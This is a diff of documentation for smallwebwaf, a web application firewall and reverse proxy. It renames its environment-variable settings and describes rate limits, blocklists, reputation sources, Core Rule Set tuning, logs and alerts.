| `SWW_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
| `SWW_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
| `SWW_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
| `SWW_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
| `SWW_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
| `SWW_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
| `SWW_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_TAG_LIMIT_PERCENT` (the lowest wins). |
| `SWW_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
| `SWW_RULES_ENABLED` | `true` | `false` reads no rule file. |
| `SWW_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
| `SWW_WAF_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
| `SWW_WAF_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
| `SWW_WAF_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
| `SWW_WAF_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
| `SWW_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
| `SWW_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
| `SWW_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
| `SWW_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
| `SWW_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
| `SWW_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
| `SWW_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
| `SWW_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
| `SWW_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
| `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
| `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
| `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
| `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. |
| `SWW_LOG_LEVEL` | `info` | The least severe of `discriminator`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
| `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
| `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `discriminator` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
| `SWW_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
| `SWW_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
| `SWW_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
| `SWW_LOG_REMOTE_APP_NAME` | `SWW_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
| `SWW_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
| `SWW_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
| `SWW_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
| `SWW_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
| `SWW_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
| `SWW_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
| `SWW_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
| `SWW_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
| `SWW_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
| `SWW_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
| `SWW_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
| `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
| `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
| `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in a minute, a size. |
| `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in an hour, a size. |
| `SWW_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
| `SWW_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
| `SWW_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. |
| `SWW_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. |
| `SWW_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 32. |
| `SWW_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 128. |
| `SWW_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
| `SWW_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
| `SWW_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. |
| `SWW_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. |
| `SWW_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
| `SWW_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
| `SWW_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. |
| `SWW_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. |
| `SWW_WATCH_NETS` | empty | Named netblocks the `SWW_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
| `SWW_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
| `SWW_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
| `SWW_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. |
| `SWW_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. |
[`docs/settings.md`](docs/settings.md) gives the values each setting takes in
full, and the limits that are fixed rather than settings.
@@ -365,8 +363,8 @@ services:
rproxy:
image: smallwebwaf
environment:
SWW_RPROXY_WAF_BACKEND: http://discriminator:8080
SWW_RPROXY_UPSTREAM_URL: http://app:8081
SWRP_WAF_BACKEND: http://discriminator:8080
SWRP_UPSTREAM_URL: http://app:8081
ports:
- "8080:8080"
@@ -401,8 +399,8 @@ services:
rproxy:
image: smallwebwaf
environment:
SWW_RPROXY_WAF_BACKEND: http://discriminator:8080
SWW_RPROXY_UPSTREAM_URL: http://app:8081
SWRP_WAF_BACKEND: http://discriminator:8080
SWRP_UPSTREAM_URL: http://app:8081
ports:
- "8080:8080"
@@ -411,22 +409,22 @@ services:
environment:
SWW_COMMAND: discriminator
# Monitoring skips every check.
SWW_WAF_ALLOW_NETS: 192.0.2.10
SWW_ALLOW_NETS: 192.0.2.10
# The office and the automation host are never rate limited.
SWW_WAF_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7
SWW_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7
# A netblock that sends nothing wanted.
SWW_WAF_DENY_NETS: 198.51.100.128/25
SWW_DENY_NETS: 198.51.100.128/25
# Tighter limits for everyone else: a small static site.
SWW_WAF_RATE_LIMIT_PER_MINUTE: "60"
SWW_WAF_RATE_LIMIT_PER_HOUR: "600"
SWW_WAF_RATE_LIMIT_PER_DAY: "3000"
SWW_RATE_LIMIT_PER_MINUTE: "60"
SWW_RATE_LIMIT_PER_HOUR: "600"
SWW_RATE_LIMIT_PER_DAY: "3000"
# Hosting networks and one country get a share of those limits.
SWW_WAF_TAG_LIMIT_PERCENT: asn=14061:50,asn=16276:25,country=CN:25
SWW_TAG_LIMIT_PERCENT: asn=14061:50,asn=16276:25,country=CN:25
# Paths only scanners ask for; one request bans the client.
SWW_WAF_TRAP_PATHS: /wp-login.php,/xmlrpc.php
SWW_TRAP_PATHS: /wp-login.php,/xmlrpc.php
# Answer a refused client with 429 rather than 403.
SWW_WAF_BAN_RESPONSE: "429"
SWW_WAF_LIMIT_BAN_DURATION: 30m
SWW_BAN_RESPONSE: "429"
SWW_LIMIT_BAN_DURATION: 30m
volumes:
- discriminator-state:/var/lib/sww
@@ -452,9 +450,9 @@ services:
# A Dockerfile built FROM the smallwebwaf image, with rproxy inside.
build: ./app
environment:
SWW_RPROXY_WAF_BACKEND: http://discriminator:8080
SWRP_WAF_BACKEND: http://discriminator:8080
# Answer 503 rather than pass a request on while discriminator is down.
SWW_RPROXY_DEFAULT_DISPOSITION: deny
SWRP_DEFAULT_DISPOSITION: deny
ports:
- "8080:8080"
@@ -462,16 +460,16 @@ services:
image: smallwebwaf
environment:
SWW_COMMAND: discriminator
SWW_WAF_INSTANCE_NAME: fsn1/discriminator
SWW_INSTANCE_NAME: fsn1/discriminator
# Refuse nothing yet; log what enforce mode would have done.
SWW_WAF_MODE: observe
SWW_MODE: observe
# Look addresses up in a local IPinfo Lite database, never GeoJS.
SWW_WAF_LOOKUP_SOURCE: file
SWW_WAF_LOOKUP_DB_PATH: /var/lib/ipinfo/ipinfo_lite.mmdb
SWW_LOOKUP_SOURCE: file
SWW_LOOKUP_DB_PATH: /var/lib/ipinfo/ipinfo_lite.mmdb
# Alerts to an ntfy topic, with its token read from a file.
SWW_WAF_ALERT_NTFY_URL: https://ntfy.example/smallwebwaf
SWW_WAF_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy
SWW_WAF_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error
SWW_ALERT_NTFY_URL: https://ntfy.example/smallwebwaf
SWW_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy
SWW_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error
volumes:
- discriminator-state:/var/lib/sww
- /srv/ipinfo:/var/lib/ipinfo:ro
@@ -508,18 +506,18 @@ of the request reaches the app.
1. The health check, `GET /_sww/healthz`, is answered at once.
2. The visitor's address is worked out from `X-Forwarded-For`, believed only
from `SWW_RPROXY_TRUSTED_PROXIES`. `rproxy` sends `discriminator` the request
as the visitor sent it, with the first 64 KiB of its body.
from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `discriminator` the request as
the visitor sent it, with the first 64 KiB of its body.
`discriminator` takes the checks:
3. The tag lists.
4. The static lists, `SWW_WAF_ALLOW_NETS` and `SWW_WAF_DENY_NETS`.
4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`.
5. The bans.
6. The lookup of the client's AS number and country.
7. The country list.
8. The reputation sources.
9. The tag refusals of `SWW_WAF_TAG_DENY`.
9. The tag refusals of `SWW_TAG_DENY`.
10. The client's limit percentage, from its tags, its AS number, its country or
a reputation hit.
11. The rate limits.
@@ -535,24 +533,23 @@ of the request reaches the app.
17. The request is passed to the app, streaming.
18. After the answer, `rproxy` sends `discriminator` a report with the status
and the body bytes each way. For an allowed request, `discriminator` counts
the bytes `SWW_WAF_BYTES_COUNT` names toward the byte limits, bans the
client if they take it past one, and adds the request to the client's
history.
the bytes `SWW_BYTES_COUNT` names toward the byte limits, bans the client if
they take it past one, and adds the request to the client's history.
A refused visitor is answered with `SWW_WAF_BAN_RESPONSE`. A `block` rule or a
Core Rule Set match answers `403` and bans nobody, since the Core Rule Set has
false positives; such refusals count toward `SWW_WAF_ERROR_BURST_THRESHOLD`
instead. A request over the header limits of step 14 is answered `431`, and bans
nobody either. `rproxy` itself answers `405` to a method it does not pass on,
and the status for a size or time limit, such as `413` for a body too large.
A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core
Rule Set match answers `403` and bans nobody, since the Core Rule Set has false
positives; such refusals count toward `SWW_ERROR_BURST_THRESHOLD` instead. A
request over the header limits of step 14 is answered `431`, and bans nobody
either. `rproxy` itself answers `405` to a method it does not pass on, and the
status for a size or time limit, such as `413` for a body too large.
### Clients and bans
- A client is one IPv4 address or one IPv6 netblock of
`SWW_WAF_IPV6_GROUP_PREFIX`, since one abuser usually controls a whole /64.
- A client is one IPv4 address or one IPv6 netblock of `SWW_IPV6_GROUP_PREFIX`,
since one abuser usually controls a whole /64.
- Each limit is counted over a sliding window with a few integers per client.
The table of clients and the table of bans each have a bound
(`SWW_WAF_MAX_TRACKED_CLIENTS`, `SWW_WAF_MAX_BANS`), so memory is bounded too.
(`SWW_MAX_TRACKED_CLIENTS`, `SWW_MAX_BANS`), so memory is bounded too.
- A ban refuses every request from its netblock until it ends. Requests refused
under a ban count toward no limit. A permanent ban ends only when an admin
lifts it.
@@ -567,41 +564,38 @@ Each request gets tags from what `discriminator` knows of its client, written in
the `tags` field of its log line:
- `asn=<number>` and `country=<code>`, from the lookup;
- one tag per list of `SWW_WAF_TAG_LISTS` that holds the client, such as
`torexit` or `vpn=mullvad`;
- one tag per list of `SWW_TAG_LISTS` that holds the client, such as `torexit`
or `vpn=mullvad`;
- `crowdsec`, `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists
the client;
- `exploitsignature`, when a rule file or the Core Rule Set matched the request;
- `asn=<number>` and `prefix=<netblock>`, from a routewatch instance, while
`SWW_WAF_ROUTEWATCH_URL` is set.
`SWW_ROUTEWATCH_URL` is set.
`SWW_WAF_TAG_DENY` refuses requests by tag, and `SWW_WAF_TAG_LIMIT_PERCENT`
lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
`SWW_TAG_DENY` refuses requests by tag, and `SWW_TAG_LIMIT_PERCENT` lowers a
client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
### Attack detection
- The Core Rule Set reads the method, the URL with its query string, and the
headers of every request, and no body unless
`SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. In front of a code forge, bodies
carry what people write and publish, which the rules take for attacks.
- `smallwebwaf` changes the Core Rule Set in eleven ways so that ordinary
requests get through to a code forge, to WordPress, to Drupal and to
MediaWiki. They include git over HTTP and sign-in through Git Credential
Manager on a code forge, and saving a post from the block editor on WordPress.
On gitea's own paths, its searches, file names and branch names get through
too. On WordPress's own paths, its searches, names and file names do. On
Drupal's own paths, the page to return to, its searches and its names get
through too. On MediaWiki's own paths, its searches, page titles, names and
wikitext do. No setting undoes the changes; "Attack detection" in
[`SPEC.md`](SPEC.md) lists them.
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
front of a code forge, bodies carry what people write and publish, which the
rules take for attacks.
- `smallwebwaf` changes the Core Rule Set in ten ways so that ordinary requests
get through to a code forge, to WordPress and to Drupal. They include git over
HTTP and sign-in through Git Credential Manager on a code forge, and saving a
post from the block editor on WordPress. On gitea's own paths, its searches,
file names and branch names get through too. On WordPress's own paths, its
searches, names and file names do. On Drupal's own paths, the page to return
to, its searches and its names get through too. No setting undoes the changes;
"Attack detection" in [`SPEC.md`](SPEC.md) lists them.
- These apps work out of the box at the default settings, and their recorded
ordinary requests pass the Core Rule Set:
- gitea;
- WordPress;
- Drupal;
- MediaWiki.
- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's
own fields or paths.
- Drupal.
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
fields or paths.
- Rule files are plain text, one rule to a line, edited by hand and read again
while `discriminator` runs. The image ships one file of probes no real visitor
sends (see [`docs/rules.md`](docs/rules.md)).
@@ -609,7 +603,7 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
### State files
`discriminator` keeps everything in memory, and the five JSON files in
`SWW_WAF_STATE_DIR` hold a copy: `bans.json`, `clients.json`, `lookups.json`,
`SWW_STATE_DIR` hold a copy: `bans.json`, `clients.json`, `lookups.json`,
`reputation.json` and `alerts.json`. Each is written whole, to a temporary file
renamed over the real one, so a crash leaves a complete file. `discriminator`
notices a file edited on disk and takes the edit in; an edit that does not parse
SPEC.md
+420 -527
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File diff suppressed because it is too large. Load diff
docs/admin-endpoints.md
+7 -7
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@@ -5,16 +5,16 @@ The endpoints under `/_sww/`, what each takes and what each answers.
"Admin endpoints" in [`SPEC.md`](../SPEC.md) says how their tokens work.
- `GET /_sww/healthz`: `200` and `ok`, to anyone.
- `GET /_sww/metrics`: the metrics, for `SWW_WAF_METRICS_TOKEN` (see
- `GET /_sww/metrics`: the metrics, for `SWW_METRICS_TOKEN` (see
[`metrics.md`](metrics.md)).
- `GET /_sww/bans`: every ban held, under `bans`, each as `bans.json` lists it.
Needs `SWW_WAF_ADMIN_TOKEN`, as do the three below.
Needs `SWW_ADMIN_TOKEN`, as do the three below.
- `POST /_sww/bans`: bans a netblock. The body is a JSON object of `netblock`,
`duration` and, if you like, `reason`. `netblock` is a netblock such as
`203.0.113.0/24`, or a client's address, which bans its IPv4 netblock
(`SWW_WAF_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration
such as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying
what is wrong:
(`SWW_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration such
as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying what is
wrong:
- one that is not such an object, or has another field;
- one longer than 4 KiB;
- one that names an IPv4-mapped netblock, or an address with a zone.
@@ -38,8 +38,8 @@ in [`SPEC.md`](../SPEC.md)).
## Examples
With `SWW_WAF_ADMIN_TOKEN` set, the token in `$TOKEN`, and `discriminator`
reached as `discriminator:8080` on its network:
With `SWW_ADMIN_TOKEN` set, the token in `$TOKEN`, and `discriminator` reached
as `discriminator:8080` on its network:
```sh
# Every ban.
docs/alerts.md
+4 -4
View File
@@ -77,8 +77,8 @@ on one line:
}
```
- `instance`: `SWW_WAF_INSTANCE_NAME`. `time`: when the alert was raised.
`event`: one of the events above.
- `instance`: `SWW_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
one of the events above.
- `host`: the site of the request that raised the alert, since one
`discriminator` serves many sites. It is left out of `source_failure`,
`file_error` and `summary`.
@@ -122,8 +122,8 @@ Slack gets the title in bold and the text below it, with `&`, `<` and `>`
escaped. ntfy gets the text as the message, with these headers:
- `Title`: the title;
- `Authorization`: the token, as `Bearer <token>`, while
`SWW_WAF_ALERT_NTFY_TOKEN` is set;
- `Authorization`: the token, as `Bearer <token>`, while `SWW_ALERT_NTFY_TOKEN`
is set;
- `Priority` and `Tags`: by event, as listed below.
The priority and tag by event:
docs/metrics.md
+2 -2
View File
@@ -6,7 +6,7 @@ keeps the `instance` label as `exported_instance` unless the scrape sets
`honor_labels: true`. `rproxy` has no metrics.
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
body bytes, never headers, whatever `SWW_WAF_BYTES_COUNT` says.
body bytes, never headers, whatever `SWW_BYTES_COUNT` says.
## Traffic
@@ -33,7 +33,7 @@ body bytes, never headers, whatever `SWW_WAF_BYTES_COUNT` says.
## Countries and AS numbers
For the `SWW_WAF_METRICS_TOP_N` busiest of each, the rest as `other`:
For the `SWW_METRICS_TOP_N` busiest of each, the rest as `other`:
- `sww_country_requests_total`, `sww_country_request_bytes_total`,
`sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
docs/request-log.md
+15 -17
View File
@@ -44,7 +44,7 @@ Every one of these lines has:
- `time`: when `discriminator` had read the question's body, RFC 3339 with
milliseconds, in UTC. The `report` line gives the same time as the `decision`
line.
- `instance`: `SWW_WAF_INSTANCE_NAME`.
- `instance`: `SWW_INSTANCE_NAME`.
- `client_ip`: the visitor's address, as `rproxy` worked it out.
- `method`, `path` and `query`: the visitor's request.
- `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of
@@ -82,8 +82,8 @@ Every one of these lines has:
- GeoJS had not answered by the time `discriminator` answered.
- `content_type`: the visitor's `Content-Type`.
- `content_length`: the body length the visitor announced.
- `request_headers`: the headers listed in `SWW_WAF_LOG_REQUEST_HEADERS`, by
name in lower case.
- `request_headers`: the headers listed in `SWW_LOG_REQUEST_HEADERS`, by name in
lower case.
- `has_authorization` and `has_cookie`: true when the request had those headers.
Their values are never logged.
@@ -96,8 +96,8 @@ Every one of these lines has:
- `action`: what was done:
- `forward`: answered `allow`, so that `rproxy` passes it to the app;
- `client_denied`: refused for `SWW_WAF_DENY_NETS`, for a reputation source
with the action `deny`, or for a tag in `SWW_WAF_TAG_DENY`;
- `client_denied`: refused for `SWW_DENY_NETS`, for a reputation source with
the action `deny`, or for a tag in `SWW_TAG_DENY`;
- `temporarily_banned`: refused under a ban that runs out, or for a `ban`
rule, a trap path or a CrowdSec decision that made such a ban;
- `permanently_banned`: refused under a ban that never runs out, including a
@@ -114,23 +114,21 @@ Every one of these lines has:
is left out when none did.
- `heuristic_figures`: an object of the figures that heuristic acted on. Each
heuristic and its figures:
- `deny_nets`: `netblock`, the entry of `SWW_WAF_DENY_NETS` the client is
in;
- `deny_nets`: `netblock`, the entry of `SWW_DENY_NETS` the client is in;
- `active_ban`: `netblock`, the ban's netblock, and `ban_expires`;
- `countries`: `country`, and `setting`, the country list that refused it;
- `tag_deny`: `tag`, the tag of `SWW_WAF_TAG_DENY` the request carries;
- `tag_deny`: `tag`, the tag of `SWW_TAG_DENY` the request carries;
- `blocklists`: `lists`, the blocklist URLs that list the client;
- `crowdsec`: `scenario`, the decision's scenario, and `expires`, when the
decision ends;
- `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys
masked;
- `abuseipdb`: `score`, and `min_score`, `SWW_WAF_ABUSEIPDB_MIN_SCORE`;
- `abuseipdb`: `score`, and `min_score`, `SWW_ABUSEIPDB_MIN_SCORE`;
- `rate_limits`: `window`, `count` and `limit`;
- `trap_paths`: `path`, the trap path asked for;
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
- `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`;
- `core_rule_set`: `score`, and `threshold`,
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD`;
- `core_rule_set`: `score`, and `threshold`, `SWW_WAF_ANOMALY_THRESHOLD`;
- `refusal_limit`: `window`, `count` and `limit`, of the error burst;
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
- `after_answer_heuristic`: the heuristic that banned the client after
@@ -151,7 +149,7 @@ Every one of these lines has:
holds:
- `minute`, `hour` and `day`: requests;
- `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
`SWW_WAF_BYTES_COUNT` names, in that window.
`SWW_BYTES_COUNT` names, in that window.
A count can have a fraction (see "Counting method" in
[`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
@@ -161,7 +159,7 @@ Every one of these lines has:
- `limit_hit`: the limit broken:
- `minute`, `hour` or `day` for a rate limit;
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
- `minute_refusals` for the error burst (`SWW_WAF_ERROR_BURST_THRESHOLD`).
- `minute_refusals` for the error burst (`SWW_ERROR_BURST_THRESHOLD`).
When the bytes counted for a request and its response break a limit, the
request has been passed on whole, so its `action` stays `forward`. Only its
@@ -179,7 +177,7 @@ Every one of these lines has:
- `tags`: the request's tags, sorted, left out when it has none. Each tag and
where it comes from is under "Request tags" in [`SPEC.md`](../SPEC.md).
- `routewatch_tags_missing`: why the request got no tags from routewatch,
present only while `SWW_WAF_ROUTEWATCH_URL` is set:
present only while `SWW_ROUTEWATCH_URL` is set:
- `no_answer_yet`: routewatch has not answered about this client yet;
- `request_failed`: a query to routewatch failed within the last minute, and
the process log says why;
@@ -236,13 +234,13 @@ these meanings where they differ:
was sooner. It includes the wait for `discriminator`.
- `duration_response_ms`: milliseconds from then until the end of the answer.
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
is `discriminator`'s answer, or the value of `SWW_RPROXY_DEFAULT_DISPOSITION`.
It is left out when:
is `discriminator`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is
left out when:
- `discriminator` was not asked, as for the health check;
- the visitor went away while `discriminator` was being asked;
- `discriminator`'s answer had no valid `X-Sww-Disposition`;
- `rproxy` could not pass on `discriminator`'s answer, and answered `502`.
- `default_disposition`: `true` when `SWW_RPROXY_DEFAULT_DISPOSITION` gave
- `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave
`disposition`, and otherwise left out.
For example:
docs/settings.md
+242 -248
View File
@@ -4,9 +4,9 @@ Every setting, its default and the values it takes, in the groups of "Settings"
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
that take `off`, the `_FILE` form, and what each group does and why.
The settings that start with `SWW_WAF_` are `discriminator`'s. Those that start
with `SWW_RPROXY_` are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND`
chooses between the two (see "The image's command" below).
The settings that start with `SWW_` are `discriminator`'s. Those that start with
`SWRP_` are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` chooses
between the two (see "The image's command" below).
## Forms of values
@@ -28,98 +28,97 @@ chooses between the two (see "The image's command" below).
## Core
- `SWW_WAF_LISTEN_ADDR` (default `:8080`): where `discriminator` listens: `:`
and a port, such as `:9000`. Leave the host out (see "Ports" in
- `SWW_LISTEN_ADDR` (default `:8080`): where `discriminator` listens: `:` and a
port, such as `:9000`. Leave the host out (see "Ports" in
[`SPEC.md`](../SPEC.md)).
- `SWW_WAF_INSTANCE_NAME` (default: the container's host name): the `instance`
name in each line `discriminator` logs, and in each alert and metric, such as
- `SWW_INSTANCE_NAME` (default: the container's host name): the `instance` name
in each line `discriminator` logs, and in each alert and metric, such as
`fsn1/discriminator`. Valid UTF-8. No control character while
`SWW_WAF_ALERT_NTFY_URL` is set. 1 to 48 printable ASCII characters without a
space while `SWW_WAF_LOG_REMOTE_URL` is set and `SWW_WAF_LOG_REMOTE_APP_NAME`
is not.
- `SWW_WAF_MODE` (default `enforce`): `enforce` or `observe`.
- `SWW_WAF_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6
client's group, from 32 to 128.
- `SWW_WAF_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a
whole number above zero.
